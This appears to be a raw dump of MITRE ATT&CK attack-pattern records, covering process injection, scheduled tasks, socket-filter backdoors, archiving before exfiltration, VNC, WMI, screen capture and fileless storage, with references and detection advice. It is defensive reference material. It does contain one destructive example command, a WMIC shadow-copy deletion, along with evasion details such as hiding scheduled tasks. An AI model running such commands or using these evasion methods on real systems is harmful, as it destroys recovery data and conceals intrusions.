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attack-pattern | attack-pattern--0042a9f5-f053-4769-b3ef-9ad018dfa298 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-01-14T17:18:32.126000Z" | "2020-11-10T18:29:31.004000Z" | Extra Window Memory Injection | Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)
Although small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process’s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process’s EWM.
Execution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as <code>WriteProcessMemory</code> and <code>CreateRemoteThread</code>.(Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
] | false | [
{
"description": null,
"external_id": "T1055.011",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1055/011"
},
{
"description": "Microsoft. (n.d.). About Window Classes. Retrieved December 16, 2017.",
"external_id": null,
"source_name": "Microsoft Window Classes",
"url": "https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx"
},
{
"description": "Microsoft. (n.d.). GetWindowLong function. Retrieved December 16, 2017.",
"external_id": null,
"source_name": "Microsoft GetWindowLong function",
"url": "https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx"
},
{
"description": "Microsoft. (n.d.). SetWindowLong function. Retrieved December 16, 2017.",
"external_id": null,
"source_name": "Microsoft SetWindowLong function",
"url": "https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx"
},
{
"description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
"external_id": null,
"source_name": "Elastic Process Injection July 2017",
"url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
},
{
"description": "MalwareTech. (2013, August 13). PowerLoader Injection – Something truly amazing. Retrieved December 16, 2017.",
"external_id": null,
"source_name": "MalwareTech Power Loader Aug 2013",
"url": "https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html"
},
{
"description": "Matrosov, A. (2013, March 19). Gapz and Redyms droppers based on Power Loader code. Retrieved December 16, 2017.",
"external_id": null,
"source_name": "WeLiveSecurity Gapz and Redyms Mar 2013",
"url": "https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/"
},
{
"description": "Microsoft. (n.d.). SendNotifyMessage function. Retrieved December 16, 2017.",
"external_id": null,
"source_name": "Microsoft SendNotifyMessage function",
"url": "https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor for API calls related to enumerating and manipulating EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated with this technique have also used SendNotifyMessage (Citation: Microsoft SendNotifyMessage function) to trigger the associated window procedure and eventual malicious injection. (Citation: Elastic Process Injection July 2017) | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 1.0 |
attack-pattern | attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2019-11-27T14:58:00.429000Z" | "2023-11-15T14:33:53.354000Z" | Scheduled Task | Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The [schtasks](https://attack.mitre.org/software/S0111) utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.
The deprecated [at](https://attack.mitre.org/software/S0110) utility could also be abused by adversaries (ex: [At](https://attack.mitre.org/techniques/T1053/002)), though <code>at.exe</code> can not access tasks created with <code>schtasks</code> or the Control Panel.
An adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent)
Adversaries may also create "hidden" scheduled tasks (i.e. [Hide Artifacts](https://attack.mitre.org/techniques/T1564)) that may not be visible to defender tools and manual queries used to enumerate tasks. Specifically, an adversary may hide a task from `schtasks /query` and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions).(Citation: SigmaHQ)(Citation: Tarrask scheduled task) Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., `Index` value) within associated registry keys.(Citation: Defending Against Scheduled Task Attacks in Windows Environments) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "execution"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
] | false | [
{
"description": null,
"external_id": "T1053.005",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1053/005"
},
{
"description": "Campbell, B. et al. (2022, March 21). Serpent, No Swiping! New Backdoor Targets French Entities with Unique Attack Chain. Retrieved April 11, 2022.",
"external_id": null,
"source_name": "ProofPoint Serpent",
"url": "https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain"
},
{
"description": "Harshal Tupsamudre. (2022, June 20). Defending Against Scheduled Tasks. Retrieved July 5, 2022.",
"external_id": null,
"source_name": "Defending Against Scheduled Task Attacks in Windows Environments",
"url": "https://blog.qualys.com/vulnerabilities-threat-research/2022/06/20/defending-against-scheduled-task-attacks-in-windows-environments"
},
{
"description": "Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved December 12, 2017.",
"external_id": null,
"source_name": "Twitter Leoloobeek Scheduled Task",
"url": "https://twitter.com/leoloobeek/status/939248813465853953"
},
{
"description": "Microsoft Threat Intelligence Team & Detection and Response Team . (2022, April 12). Tarrask malware uses scheduled tasks for defense evasion. Retrieved June 1, 2022.",
"external_id": null,
"source_name": "Tarrask scheduled task",
"url": "https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/"
},
{
"description": "Microsoft. (2017, May 28). Audit Other Object Access Events. Retrieved June 27, 2019.",
"external_id": null,
"source_name": "Microsoft Scheduled Task Events Win10",
"url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events"
},
{
"description": "Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017.",
"external_id": null,
"source_name": "TechNet Scheduled Task Events",
"url": "https://technet.microsoft.com/library/dd315590.aspx"
},
{
"description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
"external_id": null,
"source_name": "TechNet Autoruns",
"url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
},
{
"description": "Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017.",
"external_id": null,
"source_name": "TechNet Forum Scheduled Task Operational Setting",
"url": "https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen"
},
{
"description": "Sittikorn S. (2022, April 15). Removal Of SD Value to Hide Schedule Task - Registry. Retrieved June 1, 2022.",
"external_id": null,
"source_name": "SigmaHQ",
"url": "https://github.com/SigmaHQ/sigma/blob/master/rules/windows/registry/registry_delete/registry_delete_schtasks_hide_task_via_sd_value_removal.yml"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor process execution from the <code>svchost.exe</code> in Windows 10 and the Windows Task Scheduler <code>taskeng.exe</code> for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\System32\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.
Configure event logging for scheduled task creation and changes by enabling the "Microsoft-Windows-TaskScheduler/Operational" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)
* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered
* Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated
* Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted
* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created
* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled
* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled
Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)
Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 1.5 |
attack-pattern | attack-pattern--005cc321-08ce-4d17-b1ea-cb5275926520 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2022-09-30T21:18:41.930000Z" | "2022-10-20T19:56:18.579000Z" | Socket Filters | Adversaries may attach filters to a network socket to monitor then activate backdoors used for persistence or command and control. With elevated permissions, adversaries can use features such as the `libpcap` library to open sockets and install filters to allow or disallow certain types of data to come through the socket. The filter may apply to all traffic passing through the specified network interface (or every interface if not specified). When the network interface receives a packet matching the filter criteria, additional actions can be triggered on the host, such as activation of a reverse shell.
To establish a connection, an adversary sends a crafted packet to the targeted host that matches the installed filter criteria.(Citation: haking9 libpcap network sniffing) Adversaries have used these socket filters to trigger the installation of implants, conduct ping backs, and to invoke command shells. Communication with these socket filters may also be used in conjunction with [Protocol Tunneling](https://attack.mitre.org/techniques/T1572).(Citation: exatrack bpf filters passive backdoors)(Citation: Leonardo Turla Penquin May 2020)
Filters can be installed on any Unix-like platform with `libpcap` installed or on Windows hosts using `Winpcap`. Adversaries may use either `libpcap` with `pcap_setfilter` or the standard library function `setsockopt` with `SO_ATTACH_FILTER` options. Since the socket connection is not active until the packet is received, this behavior may be difficult to detect due to the lack of activity on a host, low CPU overhead, and limited visibility into raw socket usage. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "command-and-control"
}
] | false | [
{
"description": null,
"external_id": "T1205.002",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1205/002"
},
{
"description": "ExaTrack. (2022, May 11). Tricephalic Hellkeeper: a tale of a passive backdoor. Retrieved October 18, 2022.",
"external_id": null,
"source_name": "exatrack bpf filters passive backdoors",
"url": "https://exatrack.com/public/Tricephalic_Hellkeeper.pdf"
},
{
"description": "Jamie Harries. (2022, May 25). Hunting a Global Telecommunications Threat: DecisiveArchitect and Its Custom Implant JustForFun. Retrieved October 18, 2022.",
"external_id": null,
"source_name": "crowdstrike bpf socket filters",
"url": "https://www.crowdstrike.com/blog/how-to-hunt-for-decisivearchitect-and-justforfun-implant/"
},
{
"description": "Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA “Penquin_x64”. Retrieved March 11, 2021.",
"external_id": null,
"source_name": "Leonardo Turla Penquin May 2020",
"url": "https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf"
},
{
"description": "Luis Martin Garcia. (2008, February 1). Hakin9 Issue 2/2008 Vol 3 No.2 VoIP Abuse: Storming SIP Security. Retrieved October 18, 2022.",
"external_id": null,
"source_name": "haking9 libpcap network sniffing",
"url": "http://recursos.aldabaknocking.com/libpcapHakin9LuisMartinGarcia.pdf"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Identify running processes with raw sockets. Ensure processes listed have a need for an open raw socket and are in accordance with enterprise policy.(Citation: crowdstrike bpf socket filters) | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows"
] | 1.0 |
attack-pattern | attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-20T21:01:25.428000Z" | "2023-09-15T19:02:53.995000Z" | Archive via Utility | Adversaries may use utilities to compress and/or encrypt collected data prior to exfiltration. Many utilities include functionalities to compress, encrypt, or otherwise package data into a format that is easier/more secure to transport.
Adversaries may abuse various utilities to compress or encrypt data before exfiltration. Some third party utilities may be preinstalled, such as <code>tar</code> on Linux and macOS or <code>zip</code> on Windows systems.
On Windows, <code>diantz</code> or <code> makecab</code> may be used to package collected files into a cabinet (.cab) file. <code>diantz</code> may also be used to download and compress files from remote locations (i.e. [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002)).(Citation: diantz.exe_lolbas) <code>xcopy</code> on Windows can copy files and directories with a variety of options. Additionally, adversaries may use [certutil](https://attack.mitre.org/software/S0160) to Base64 encode collected data before exfiltration.
Adversaries may use also third party utilities, such as 7-Zip, WinRAR, and WinZip, to perform similar activities.(Citation: 7zip Homepage)(Citation: WinRAR Homepage)(Citation: WinZip Homepage) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "collection"
}
] | false | [
{
"description": null,
"external_id": "T1560.001",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1560/001"
},
{
"description": "A. Roshal. (2020). RARLAB. Retrieved February 20, 2020.",
"external_id": null,
"source_name": "WinRAR Homepage",
"url": "https://www.rarlab.com/"
},
{
"description": "Corel Corporation. (2020). WinZip. Retrieved February 20, 2020.",
"external_id": null,
"source_name": "WinZip Homepage",
"url": "https://www.winzip.com/win/en/"
},
{
"description": "I. Pavlov. (2019). 7-Zip. Retrieved February 20, 2020.",
"external_id": null,
"source_name": "7zip Homepage",
"url": "https://www.7-zip.org/"
},
{
"description": "Living Off The Land Binaries, Scripts and Libraries (LOLBAS). (n.d.). Diantz.exe. Retrieved October 25, 2021.",
"external_id": null,
"source_name": "diantz.exe_lolbas",
"url": "https://lolbas-project.github.io/lolbas/Binaries/Diantz/"
},
{
"description": "Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.",
"external_id": null,
"source_name": "Wikipedia File Header Signatures",
"url": "https://en.wikipedia.org/wiki/List_of_file_signatures"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known archival utilities. This may yield a significant number of benign events, depending on how systems in the environment are typically used.
Consider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures) | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows"
] | 1.3 |
attack-pattern | attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-11T18:28:44.950000Z" | "2023-03-30T21:01:46.879000Z" | VNC | Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely control machines using Virtual Network Computing (VNC). VNC is a platform-independent desktop sharing system that uses the RFB (“remote framebuffer”) protocol to enable users to remotely control another computer’s display by relaying the screen, mouse, and keyboard inputs over the network.(Citation: The Remote Framebuffer Protocol)
VNC differs from [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) as VNC is screen-sharing software rather than resource-sharing software. By default, VNC uses the system's authentication, but it can be configured to use credentials specific to VNC.(Citation: MacOS VNC software for Remote Desktop)(Citation: VNC Authentication)
Adversaries may abuse VNC to perform malicious actions as the logged-on user such as opening documents, downloading files, and running arbitrary commands. An adversary could use VNC to remotely control and monitor a system to collect data and information to pivot to other systems within the network. Specific VNC libraries/implementations have also been susceptible to brute force attacks and memory usage exploitation.(Citation: Hijacking VNC)(Citation: macOS root VNC login without authentication)(Citation: VNC Vulnerabilities)(Citation: Offensive Security VNC Authentication Check)(Citation: Attacking VNC Servers PentestLab)(Citation: Havana authentication bug) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "lateral-movement"
}
] | false | [
{
"description": null,
"external_id": "T1021.005",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1021/005"
},
{
"description": "T. Richardson, J. Levine, RealVNC Ltd.. (2011, March). The Remote Framebuffer Protocol. Retrieved September 20, 2021.",
"external_id": null,
"source_name": "The Remote Framebuffer Protocol",
"url": "https://datatracker.ietf.org/doc/html/rfc6143#section-7.2.2"
},
{
"description": "Apple Support. (n.d.). Set up a computer running VNC software for Remote Desktop. Retrieved August 18, 2021.",
"external_id": null,
"source_name": "MacOS VNC software for Remote Desktop",
"url": "https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac"
},
{
"description": "Tegan. (2019, August 15). Setting up System Authentication. Retrieved September 20, 2021.",
"external_id": null,
"source_name": "VNC Authentication",
"url": "https://help.realvnc.com/hc/en-us/articles/360002250097-Setting-up-System-Authentication"
},
{
"description": "Z3RO. (2019, March 10). Day 70: Hijacking VNC (Enum, Brute, Access and Crack). Retrieved September 20, 2021.",
"external_id": null,
"source_name": "Hijacking VNC",
"url": "https://int0x33.medium.com/day-70-hijacking-vnc-enum-brute-access-and-crack-d3d18a4601cc"
},
{
"description": "Nick Miles. (2017, November 30). Detecting macOS High Sierra root account without authentication. Retrieved September 20, 2021.",
"external_id": null,
"source_name": "macOS root VNC login without authentication",
"url": "https://www.tenable.com/blog/detecting-macos-high-sierra-root-account-without-authentication"
},
{
"description": "Sergiu Gatlan. (2019, November 22). Dozens of VNC Vulnerabilities Found in Linux, Windows Solutions. Retrieved September 20, 2021.",
"external_id": null,
"source_name": "VNC Vulnerabilities",
"url": "https://www.bleepingcomputer.com/news/security/dozens-of-vnc-vulnerabilities-found-in-linux-windows-solutions/"
},
{
"description": "Offensive Security. (n.d.). VNC Authentication. Retrieved October 6, 2021.",
"external_id": null,
"source_name": "Offensive Security VNC Authentication Check",
"url": "https://www.offensive-security.com/metasploit-unleashed/vnc-authentication/"
},
{
"description": "Administrator, Penetration Testing Lab. (2012, October 30). Attacking VNC Servers. Retrieved October 6, 2021.",
"external_id": null,
"source_name": "Attacking VNC Servers PentestLab",
"url": "https://pentestlab.blog/2012/10/30/attacking-vnc-servers/"
},
{
"description": "Jay Pipes. (2013, December 23). Security Breach! Tenant A is seeing the VNC Consoles of Tenant B!. Retrieved October 6, 2021.",
"external_id": null,
"source_name": "Havana authentication bug",
"url": "http://lists.openstack.org/pipermail/openstack/2013-December/004138.html"
},
{
"description": "Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] – Working From Home? Remote Logins. Retrieved August 19, 2021.",
"external_id": null,
"source_name": "Apple Unified Log Analysis Remote Login and Screen Sharing",
"url": "https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins"
},
{
"description": "Pascal Nowack. (n.d.). Retrieved September 21, 2021.",
"external_id": null,
"source_name": "Gnome Remote Desktop grd-settings",
"url": "https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/grd-settings.c#L207"
},
{
"description": "Pascal Nowack. (n.d.). Retrieved September 21, 2021.",
"external_id": null,
"source_name": "Gnome Remote Desktop gschema",
"url": "https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/org.gnome.desktop.remote-desktop.gschema.xml.in"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Use of VNC may be legitimate depending on the environment and how it’s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using VNC.
On macOS systems <code>log show --predicate 'process = "screensharingd" and eventMessage contains "Authentication:"'</code> can be used to review incoming VNC connection attempts for suspicious activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)
Monitor for use of built-in debugging environment variables (such as those containing credentials or other sensitive information) as well as test/default users on VNC servers, as these can leave openings for adversaries to abuse.(Citation: Gnome Remote Desktop grd-settings)(Citation: Gnome Remote Desktop gschema) | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows"
] | 1.1 |
attack-pattern | attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2017-05-31T21:30:44.329000Z" | "2024-04-11T18:13:25.130000Z" | Windows Management Instrumentation | Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is designed for programmers and is the infrastructure for management data and operations on Windows systems.(Citation: WMI 1-3) WMI is an administration feature that provides a uniform environment to access Windows system components.
The WMI service enables both local and remote access, though the latter is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) and [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).(Citation: WMI 1-3) Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.(Citation: WMI 1-3) (Citation: Mandiant WMI)
An adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for [Discovery](https://attack.mitre.org/tactics/TA0007) as well as [Execution](https://attack.mitre.org/tactics/TA0002) of commands and payloads.(Citation: Mandiant WMI) For example, `wmic.exe` can be abused by an adversary to delete shadow copies with the command `wmic.exe Shadowcopy Delete` (i.e., [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490)).(Citation: WMI 6)
**Note:** `wmic.exe` is deprecated as of January of 2024, with the WMIC feature being “disabled by default” on Windows 11+. WMIC will be removed from subsequent Windows releases and replaced by [PowerShell](https://attack.mitre.org/techniques/T1059/001) as the primary WMI interface.(Citation: WMI 7,8) In addition to PowerShell and tools like `wbemtool.exe`, COM APIs can also be used to programmatically interact with WMI via C++, .NET, VBScript, etc.(Citation: WMI 7,8) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "execution"
}
] | false | [
{
"description": null,
"external_id": "T1047",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1047"
},
{
"description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.",
"external_id": null,
"source_name": "FireEye WMI 2015",
"url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf"
},
{
"description": "Mandiant. (n.d.). Retrieved February 13, 2024.",
"external_id": null,
"source_name": "Mandiant WMI",
"url": "https://www.mandiant.com/resources/reports"
},
{
"description": "Microsoft. (2022, June 13). BlackCat. Retrieved February 13, 2024.",
"external_id": null,
"source_name": "WMI 6",
"url": "https://www.microsoft.com/en-us/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/"
},
{
"description": "Microsoft. (2023, March 7). Retrieved February 13, 2024.",
"external_id": null,
"source_name": "WMI 1-3",
"url": "https://learn.microsoft.com/en-us/windows/win32/wmisdk/wmi-start-page?redirectedfrom=MSDN"
},
{
"description": "Microsoft. (2024, January 26). WMIC Deprecation. Retrieved February 13, 2024.",
"external_id": null,
"source_name": "WMI 7,8",
"url": "https://techcommunity.microsoft.com/t5/windows-it-pro-blog/wmi-command-line-wmic-utility-deprecation-next-steps/ba-p/4039242"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor network traffic for WMI connections; the use of WMI in environments that do not typically use WMI may be suspect. Perform process monitoring to capture command-line arguments of "wmic" and detect commands that are used to perform remote behavior. (Citation: FireEye WMI 2015) | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 1.5 |
attack-pattern | attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2017-05-31T21:31:25.060000Z" | "2023-03-30T21:01:39.967000Z" | Screen Capture | Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as <code>CopyFromScreen</code>, <code>xwd</code>, or <code>screencapture</code>.(Citation: CopyFromScreen .NET)(Citation: Antiquated Mac Malware)
| [
{
"kill_chain_name": "mitre-attack",
"phase_name": "collection"
}
] | false | [
{
"description": null,
"external_id": "T1113",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1113"
},
{
"description": "Microsoft. (n.d.). Graphics.CopyFromScreen Method. Retrieved March 24, 2020.",
"external_id": null,
"source_name": "CopyFromScreen .NET",
"url": "https://docs.microsoft.com/en-us/dotnet/api/system.drawing.graphics.copyfromscreen?view=netframework-4.8"
},
{
"description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.",
"external_id": null,
"source_name": "Antiquated Mac Malware",
"url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitoring for screen capture behavior will depend on the method used to obtain data from the operating system and write output files. Detection methods could include collecting information from unusual processes using API calls used to obtain image data, and monitoring for image files written to disk. The sensor data may need to be correlated with other events to identify malicious activity, depending on the legitimacy of this behavior within a given network environment. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows"
] | 1.1 |
attack-pattern | attack-pattern--02c5abff-30bf-4703-ab92-1f6072fae939 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2023-03-23T19:55:25.546000Z" | "2023-05-04T18:06:40.829000Z" | Fileless Storage | Adversaries may store data in "fileless" formats to conceal malicious activity from defenses. Fileless storage can be broadly defined as any format other than a file. Common examples of non-volatile fileless storage include the Windows Registry, event logs, or WMI repository.(Citation: Microsoft Fileless)(Citation: SecureList Fileless)
Similar to fileless in-memory behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) and [Process Injection](https://attack.mitre.org/techniques/T1055), fileless data storage may remain undetected by anti-virus and other endpoint security tools that can only access specific file formats from disk storage.
Adversaries may use fileless storage to conceal various types of stored data, including payloads/shellcode (potentially being used as part of [Persistence](https://attack.mitre.org/tactics/TA0003)) and collected data not yet exfiltrated from the victim (e.g., [Local Data Staging](https://attack.mitre.org/techniques/T1074/001)). Adversaries also often encrypt, encode, splice, or otherwise obfuscate this fileless data when stored.
Some forms of fileless storage activity may indirectly create artifacts in the file system, but in central and otherwise difficult to inspect formats such as the WMI (e.g., `%SystemRoot%\System32\Wbem\Repository`) or Registry (e.g., `%SystemRoot%\System32\Config`) physical files.(Citation: Microsoft Fileless) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1027.011",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1027/011"
},
{
"description": "Legezo, D. (2022, May 4). A new secret stash for “fileless” malware. Retrieved March 23, 2023.",
"external_id": null,
"source_name": "SecureList Fileless",
"url": "https://securelist.com/a-new-secret-stash-for-fileless-malware/106393/"
},
{
"description": "Microsoft. (2023, February 6). Fileless threats. Retrieved March 23, 2023.",
"external_id": null,
"source_name": "Microsoft Fileless",
"url": "https://learn.microsoft.com/microsoft-365/security/intelligence/fileless-threats"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 1.0 |
|
